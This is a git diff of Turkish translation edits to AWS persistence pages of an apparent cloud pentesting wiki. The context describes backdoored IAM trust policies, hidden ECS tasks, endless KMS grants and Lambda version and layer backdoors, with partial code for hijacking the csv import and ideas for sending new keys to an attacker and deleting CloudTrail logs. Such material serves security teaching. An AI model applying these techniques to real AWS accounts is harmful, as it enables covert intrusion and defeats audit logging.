@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### Kötü Amaçlı Kod İçeren Gizli Docker Görüntüsü
-Bir saldırgan, **kötü amaçlı kod içeren bir Docker görüntüsünü** bir ECR deposuna yükleyebilir ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir.
+Bir saldırgan, bir ECR deposuna **kötü amaçlı kod içeren bir Docker görüntüsü yükleyebilir** ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir.
### Depo Politikası
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
-> ECR'nin, kullanıcıların bir IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sine çağrı yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın; bu, bir kayıt defterine kimlik doğrulaması yapmadan ve herhangi bir Amazon ECR deposundan görüntüleri itip çekmeden önce gereklidir.
+> ECR'nin, kullanıcıların bir kayıt defterine kimlik doğrulaması yapabilmeleri ve herhangi bir Amazon ECR deposundan görüntüleri itip çekebilmeleri için **`ecr:GetAuthorizationToken`** API'sine çağrılar yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın.
### Kayıt Defteri Politikası ve Hesaplar Arası Çoğaltma
-Kayıt defterini dış bir hesapta otomatik olarak çoğaltmak mümkündür; burada, kayıt defterini çoğaltmak istediğiniz **dış hesabı** belirtmeniz gerekir.
+Hesaplar arası çoğaltmayı yapılandırarak, bir kayıt defterini harici bir hesapta otomatik olarak çoğaltmak mümkündür; burada kayıt defterini çoğaltmak istediğiniz **harici hesabı** belirtmeniz gerekir.
-Öncelikle, dış hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir:
+Öncelikle, harici hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 94b25b8cf..1f251de53 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -15,7 +15,7 @@ Daha fazla bilgi için kontrol edin:
> [!NOTE]
> TODO: Test
-Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev, keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir.
+Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition
> [!NOTE]
> TODO: Test
-Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. Görevlerin istenen sayısını en aza indirip günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi zorlaşır.
+Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. İstenen görev sayısını en aza indirerek ve günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi daha zor hale gelir.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index 9eeca49a3..c5022050f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -12,10 +12,10 @@ Daha fazla bilgi için kontrol edin:
### Kaynak Politikasını / Güvenlik Gruplarını Değiştir
-**kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz.
+**Kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz.
### Erişim Noktası Oluştur
-**erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir.
+**Erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), bu erişim noktası, dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 32362170e..9cf80ccd4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -10,7 +10,7 @@ Daha fazla bilgi için kontrol edin:
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Instance İçinde Süreklilik
+### Instance'da Süreklilik
AWS hesabında sürekliliği sağlamak için, **instance içinde bazı süreklilik mekanizmaları tanıtılabilir** (cron işi, ssh anahtarı...) böylece saldırgan erişim sağlayabilir ve IAM rolü **kimlik bilgilerini metadata hizmetinden** çalabilir.
@@ -27,7 +27,7 @@ Saldırgan, mevcut versiyondaki kodu değiştirmek yerine, uygulamanın yeni bir
> [!NOTE]
> TODO: Test
-Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri sızdıran bir betiği periyodik olarak çalıştırmak için bir yaşam döngüsü kancası yapılandırabilir**.
+Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri dışa aktarmak için periyodik olarak bir betik çalıştıracak şekilde bir yaşam döngüsü kancası yapılandırabilir**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index 17e0fe573..85f519dce 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -4,7 +4,7 @@
## IAM
-Daha fazla bilgi için erişin:
+Daha fazla bilgi için erişim:
{{#ref}}
../aws-services/aws-iam-enum.md
@@ -21,7 +21,7 @@ Daha fazla bilgi için erişin:
### Arka Kapı Rol Güven Politikaları
-Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolünüzdeki bir dış kaynak için üstlenebilirsiniz (veya herkes için):
+Bir güven politikasını arka kapı ile kontrol ettiğiniz bir dış kaynak için üstlenebilmek amacıyla değiştirebilirsiniz (veya herkes için):
```json
{
"Version": "2012-10-17",
@@ -36,12 +36,12 @@ Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolün
]
}
```
-### Arka Kapı Politika Versiyonu
+### Arka Kapı Politikası Versiyonu
-Bir politikaya, son versiyonu değil, Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
+Bir politikaya son versiyonu olmayan Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
### Arka Kapı / Kimlik Sağlayıcı Oluştur
-Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir.
+Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index dce508d41..a222ba9c4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -16,11 +16,11 @@ Bir saldırgan, **`kms:PutKeyPolicy`** iznini kullanarak bir anahtara kontrolü
### Sonsuz İzin
-İzinler, bir anahtar üzerinde bir ilkeye bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Ayrıca, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olması mümkündür.
+İzinler, bir anahtar üzerinde bir prensibe bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Dahası, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olabilir.
Bu nedenle, bir kullanıcının tüm izinlere sahip 10 izni olması mümkündür. Saldırgan bunun sürekli olarak izlenmesi gerektiğini bilmelidir. Ve eğer bir noktada 1 izin kaldırılırsa, başka 10 izin oluşturulmalıdır.
-(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahip.)
+(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahipken bir iznin kaldırıldığını tespit edebilmek için.)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
@@ -32,6 +32,6 @@ aws kms create-grant \
aws kms list-grants --key-id
```
> [!NOTE]
-> Bir grant yalnızca şu izinleri verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Bir grant yalnızca şunlardan izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index e649eec4f..dae992793 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### Lambda Katmanı Sürekliliği
-Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı eklemek** mümkündür:
+Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı oluşturmak** mümkündür:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Uzantı Sürekliliği
-Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambdada kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür.
+Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambda'da kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,37 +28,37 @@ aws-abusing-lambda-extensions.md
### Kaynak politikaları aracılığıyla
-Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme gibi) dış hesaplara erişim vermek mümkündür:
+Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme) dış hesaplara erişim vermek mümkündür:
### Sürümler, Takma Adlar & Ağırlıklar
-Bir Lambda **farklı sürümlere** (her sürümde farklı kodlarla) sahip olabilir.\
-Sonra, lambdanın **farklı sürümleriyle farklı takma adlar** oluşturabilir ve her birine farklı ağırlıklar ayarlayabilirsiniz.\
+Bir Lambda'nın **farklı sürümleri** (her sürümde farklı kod) olabilir.\
+Sonra, lambda'nın **farklı sürümleri ile farklı takma adlar** oluşturabilir ve her birine farklı ağırlıklar ayarlayabilirsiniz.\
Bu şekilde bir saldırgan **arka kapılı sürüm 1** ve **yalnızca meşru kod içeren sürüm 2** oluşturabilir ve **isteklerin %1'inde yalnızca sürüm 1'i çalıştırarak** gizli kalabilir.
### Sürüm Arka Kapısı + API Gateway
-1. Lambdanın orijinal kodunu kopyalayın
-2. Orijinal kodu **arka kapı ekleyerek yeni bir sürüm oluşturun** (veya sadece kötü niyetli kodla). Bu sürümü yayınlayın ve **$LATEST'e dağıtın**
-1. Kodu çalıştırmak için lambdayla ilgili API geçidini çağırın
-3. **Orijinal kodla yeni bir sürüm oluşturun**, yayınlayın ve bu **sürümü** $LATEST'e dağıtın.
+1. Lambda'nın orijinal kodunu kopyalayın
+2. Orijinal kodu (veya sadece kötü niyetli kod ile) **arka kapı oluşturarak yeni bir sürüm oluşturun**. Bu sürümü yayınlayın ve **$LATEST'e dağıtın**
+1. Kodu çalıştırmak için lambda ile ilgili API geçidini çağırın
+3. **Orijinal kod ile yeni bir sürüm oluşturun**, Bu **sürümü** yayınlayın ve **$LATEST'e dağıtın**.
1. Bu, arka kapılı kodu önceki bir sürümde gizleyecektir
4. API Gateway'e gidin ve **arka kapılı sürümü çalıştıracak yeni bir POST yöntemi oluşturun** (veya başka bir yöntemi seçin): `arn:aws:lambda:us-east-1::function::1`
-1. Sonundaki :1'in **işlevin sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olacaktır).
+1. ARN'nin sonundaki :1'in **fonksiyonun sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olan olacaktır).
5. Oluşturulan POST yöntemini seçin ve Eylemler'de **`API'yi Dağıt`** seçin
-6. Artık, **POST aracılığıyla işlevi çağırdığınızda Arka Kapınız** tetiklenecektir
+6. Artık, **POST aracılığıyla fonksiyonu çağırdığınızda Arka Kapınız** tetiklenecektir
### Cron/Olay aktüatörü
-**Lambda işlevlerinin bir şey olduğunda veya bir süre geçtiğinde çalışmasını sağlamak**, lambdayı süreklilik sağlamak ve tespiti önlemek için hoş ve yaygın bir yol haline getirir.\
-AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirleriniz var.
+Bir şey olduğunda veya bir süre geçtiğinde **lambda fonksiyonlarının çalışmasını sağlamak**, lambda'yı süreklilik elde etmek ve tespiti önlemek için güzel ve yaygın bir yol haline getirir.\
+AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirler:
- Her yeni kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı oluşturur ve bunu saldırgana gönderir.
- Her yeni rol oluşturulduğunda lambda, tehlikeye atılmış kullanıcılara rol üstlenme izinleri verir.
-- Her yeni cloudtrail kaydı oluşturulduğunda, bunları silin/değiştirin.
+- Her yeni cloudtrail günlüğü oluşturulduğunda, bunları silin/değiştirin
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index cf48d9abd..9153d9ae6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -4,14 +4,14 @@
## Lambda Uzantıları
-Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla eklenir veya [konteyner görüntüsü dağıtımlarında](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) yer alır ve iki modda çalışır: **içsel** ve **dışsal**.
+Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla veya [konteyner görüntüsü dağıtımları](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) içinde eklenerek iki modda çalışır: **içsel** ve **dışsal**.
- **İçsel uzantılar**, çalışma zamanı süreciyle birleşerek, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanlarına uygulanır.
- **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda işlevinin yaşam döngüsü ile operasyon uyumunu korur. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur.
-[**Lambda uzantılarının nasıl çalıştığı hakkında daha fazla bilgi için belgeleri kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+Daha fazla bilgi için [**lambda uzantılarının nasıl çalıştığını kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### Süreklilik, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı
+### Kalıcılık, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı
Bu, bu yazıda önerilen tekniğin bir özetidir: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
@@ -19,20 +19,20 @@ Lambda çalışma zamanı ortamındaki varsayılan Linux çekirdeğinin “**pro
Ayrıca, Lambda uzantıları **çağrı olaylarına abone olma** yeteneğine sahipken, AWS bu uzantılara ham verileri açıklamaz. Bu, **uzantıların HTTP isteği aracılığıyla iletilen hassas bilgilere erişemeyeceğini** garanti eder.
-Init (Rapid) süreci, [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde tüm API isteklerini izlerken, Lambda uzantıları başlatılır ve herhangi bir çalışma zamanı kodunun yürütülmesinden önce, ancak Rapid'ten sonra çalışır.
+Init (Rapid) süreci, Lambda uzantıları başlatılırken ve herhangi bir çalışma zamanı kodu yürütülmeden önce, tüm API isteklerini [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde izler, ancak Rapid'ten sonra.
**`AWS_LAMBDA_RUNTIME_API`** değişkeni, **çocuk çalışma zamanı süreçlerine** ve ek uzantılara Rapid API'nin **IP** adresini ve **port** numarasını gösterir.
> [!WARNING]
-> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklarla çalışmasından ve sistemin çekirdeğinin **işlem belleğini değiştirmeye** izin vermesinden kaynaklanmaktadır; bu da port numarasının değiştirilmesini sağlar.
+> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklara sahip olması ve sistemin çekirdeğinin **işlem belleğinin değiştirilmesine** izin vermesi nedeniyle mümkündür; bu da port numarasının değiştirilmesini sağlar.
-Çünkü **uzantılar herhangi bir çalışma zamanı kodundan önce çalışır**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlamasına olanak tanıyabilir.
+**Uzantılar herhangi bir çalışma zamanı kodundan önce çalıştığı için**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlatmasına olanak tanıyabilir.
-[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma** ve hatta **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur.
+[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma**, diğer **uzantıların** **isteklerini** **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur.
## Referanslar
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index 09e08df25..b5f2ab72f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -4,13 +4,13 @@
## Lambda Katmanları
-Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir.
+Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veriler veya yapılandırma dosyaları içerebilir.
-Her fonksiyon için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir fonksiyona dahil ettiğinizde, **içerikler yürütme ortamındaki `/opt`** dizinine çıkarılır.
+Her işlev için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir işlevde dahil ettiğinizde, **içerikler `/opt`** dizinine çıkarılır.
-**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketiyorsa, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz.
+**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Eğer işlevleriniz, farklı bir hesap tarafından yayımlanan bir katmanı kullanıyorsa, işlevleriniz **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir işlev oluşturamaz veya işlevleri güncelleyemezsiniz.
-Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz.
+Konteyner görüntüsü olarak dağıtılan işlevler katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz.
### Python yükleme yolu
@@ -18,23 +18,23 @@ Python'un lambda'da kullanacağı yükleme yolu şudur:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+İkinci ve üçüncü pozisyonların, **lambda layers** dosyalarını açtığı dizinler tarafından nasıl kaplandığını kontrol edin: **`/opt/python/lib/python3.9/site-packages`** ve **`/opt/python`**
> [!CAUTION]
-> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilir.
+> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilecektir.
Bu nedenle, gereksinimler şunlardır:
-- **Kurbanların kodu tarafından yüklenen kütüphaneleri kontrol et**
-- **Özel kod çalıştıracak ve orijinal** kütüphaneyi **yükleyecek bir proxy kütüphanesi oluştur.**
+- Kurbanın kodu tarafından **yüklenen kütüphaneleri** kontrol et
+- **Özel kodu çalıştıracak ve orijinal** kütüphaneyi **yükleyecek** bir **proxy kütüphanesi** oluştur.
-### Önceden yüklenmiş kütüphaneler
+### Önceden Yüklenmiş Kütüphaneler
> [!WARNING]
> Bu tekniği kötüye kullanırken bir zorlukla karşılaştım: Bazı kütüphaneler, kodunuz çalıştırıldığında python çalışma zamanında **zaten yüklenmiş** durumda. `os` veya `sys` gibi şeyler bulmayı bekliyordum, ama **hatta `json` kütüphanesi bile yüklüydü**.\
-> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi yüklemesi** gerekiyor.
+> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi** **yüklemesi** gerekiyor.
-Bu python kodu ile lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür:
+Bu python kodu ile, lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür:
```python
import sys
@@ -54,14 +54,14 @@ Ve bu, **lambda'nın varsayılan olarak yüklediği kütüphaneler** listesidir:
Bu örnekte, hedef kodun **`csv`**'yi içe aktardığını varsayalım. **`csv` kütüphanesinin içe aktarımına arka kapı koyacağız**.
-Bunu yapmak için, **`/opt/python/lib/python3.9/site-packages`** yolunda **csv** adlı dizini ve içinde **`__init__.py`** dosyasını oluşturacağız.\
-Sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\
+Bunu yapmak için, lambda tarafından yüklenen bir yolda **`/opt/python/lib/python3.9/site-packages`** **csv** dizinini ve içinde **`__init__.py`** dosyasını oluşturacağız.\
+Daha sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\
Bu dosya şunları yapmalıdır:
- Payload'ımızı çalıştırmak
- Orijinal csv kütüphanesini yüklemek
-Her ikisini de şu şekilde yapabiliriz:
+Bunları şunlarla yapabiliriz:
```python
import sys
from urllib import request
@@ -83,7 +83,7 @@ import csv as _csv
sys.modules["csv"] = _csv
```
-Sonra, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin.
+Ardından, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin.
Bu kodu [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) adresinde bulabilirsiniz.
@@ -95,14 +95,14 @@ Entegre yük, **ilk kez çağrıldığında veya lambda konteynerinin sıfırlan
### Harici Katmanlar
-**Harici hesaplardan lambda katmanları** kullanmanın mümkün olduğunu unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\
+**Harici hesaplardan lambda katmanları kullanmanın mümkün olduğunu** unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\
Ayrıca, bir lambda'nın sahip olabileceği **maksimum katman sayısının 5 olduğunu** unutmayın.
Bu nedenle, bu tekniğin çok yönlülüğünü artırmak için bir saldırgan şunları yapabilir:
